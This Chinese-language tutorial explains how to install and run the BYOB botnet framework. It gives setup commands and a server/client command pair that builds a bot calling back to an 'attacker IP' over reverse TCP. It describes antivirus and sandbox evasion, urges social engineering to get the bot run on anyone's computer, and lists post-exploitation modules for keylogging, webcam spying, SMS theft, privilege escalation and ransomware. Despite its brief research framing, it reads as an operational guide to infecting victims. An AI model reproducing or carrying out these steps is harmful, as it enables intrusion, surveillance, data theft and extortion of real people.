构建您自己的僵尸网络
BYOB 为安全研究人员和开发人员提供了一个框架,用于构建和操作基本的僵尸网络,以加深他们对每年感染数百万台设备并产生现代僵尸网络的复杂恶意软件的了解,从而提高他们制定应对这些威胁的对策的能力。它旨在让开发人员轻松实现自己的代码并添加很酷的新功能,而无需从头开始编写 RAT 或命令与控制服务器。
功能
不会将任何内容写入磁盘 − 客户端永远不会将任何内容写入磁盘 - 甚至临时文件也不会,因为远程导入允许将任意代码动态加载到内存中并直接导入到当前正在运行的进程中。
平台独立 −所有内容都是用 Python 编写的,生成的客户端可以选择编译为可移植可执行文件(Windows)或捆绑到独立应用程序中。
绕过防火墙 − 客户端通过反向 TCP 连接连接到命令和控制服务器,这将绕过大多数防火墙,因为默认过滤器配置主要阻止传入连接。
针对防病毒的对策 − 通过阻止具有已知防病毒产品名称的进程生成来避免被防病毒软件分析。
加密有效负载以防止分析 − 主客户端有效负载使用随机的 256 位密钥加密,该密钥仅存在于与其一起生成的有效负载阶段中。
防止逆向工程 −默认情况下,如果检测到虚拟机或沙箱,客户端将中止执行。
如何安装
git clone https://github.com/malwaredllc/byob.git
cd byob
pip install -r requirements.txt
python setup.py
这里将使用两个终端;第一个终端将是 Bot 服务器,会话将在此处理;第二个终端将是 Bot 客户端,机器人将在此创建。
python server.py –port 445
然后打开另一个 Linux 终端并输入 cd /home/cybersecurity/Downloads/byob/byob
python client.py –name testbot.py 192.168.1.10(攻击者 ip)445
执行上述查询后,将创建一个新的僵尸网络。上述查询将执行。现在,您可以使用任何社会工程技巧在任何人的计算机上打开机器人。当 testbot.py 在目标机器上执行时,将在僵尸网络服务器中创建一个会话。
后期利用
在受害者中成功配置僵尸网络后,客户端可以远程导入后期利用模块。
键盘记录器 (byob.modules.keylogger):记录用户的击键和输入的窗口名称
屏幕截图 (byob.modules.screenshot):截取当前用户桌面的屏幕截图
网络摄像头 (byob.modules.webcam):查看实时流或从网络摄像头捕获图像/视频
赎金 (byob.modules.ransom):加密文件并生成随机 BTC 钱包以支付赎金
数据包嗅探器 (byob.modules.packetsniffer):在主机网络上运行数据包嗅探器并上传 .pcap 文件
持久性 (byob.modules.persistence):在主机上建立持久性
电话 (byob.modules.phone):从客户端智能手机读取/搜索/上传短信
提升权限 (byob.modules.escalate):尝试绕过 UAC 以获取未经授权的管理员权限
端口扫描器 (byob.modules.portscanner):扫描本地网络中的其他在线设备和开放端口
进程控制 (byob.modules.process):列出/搜索/终止/监控主机上当前正在运行的进程
相关文章
有用资源
python 参考教程 - 该教程包含有关 python 的更多信息:https://www.cainiaomax.com/python/

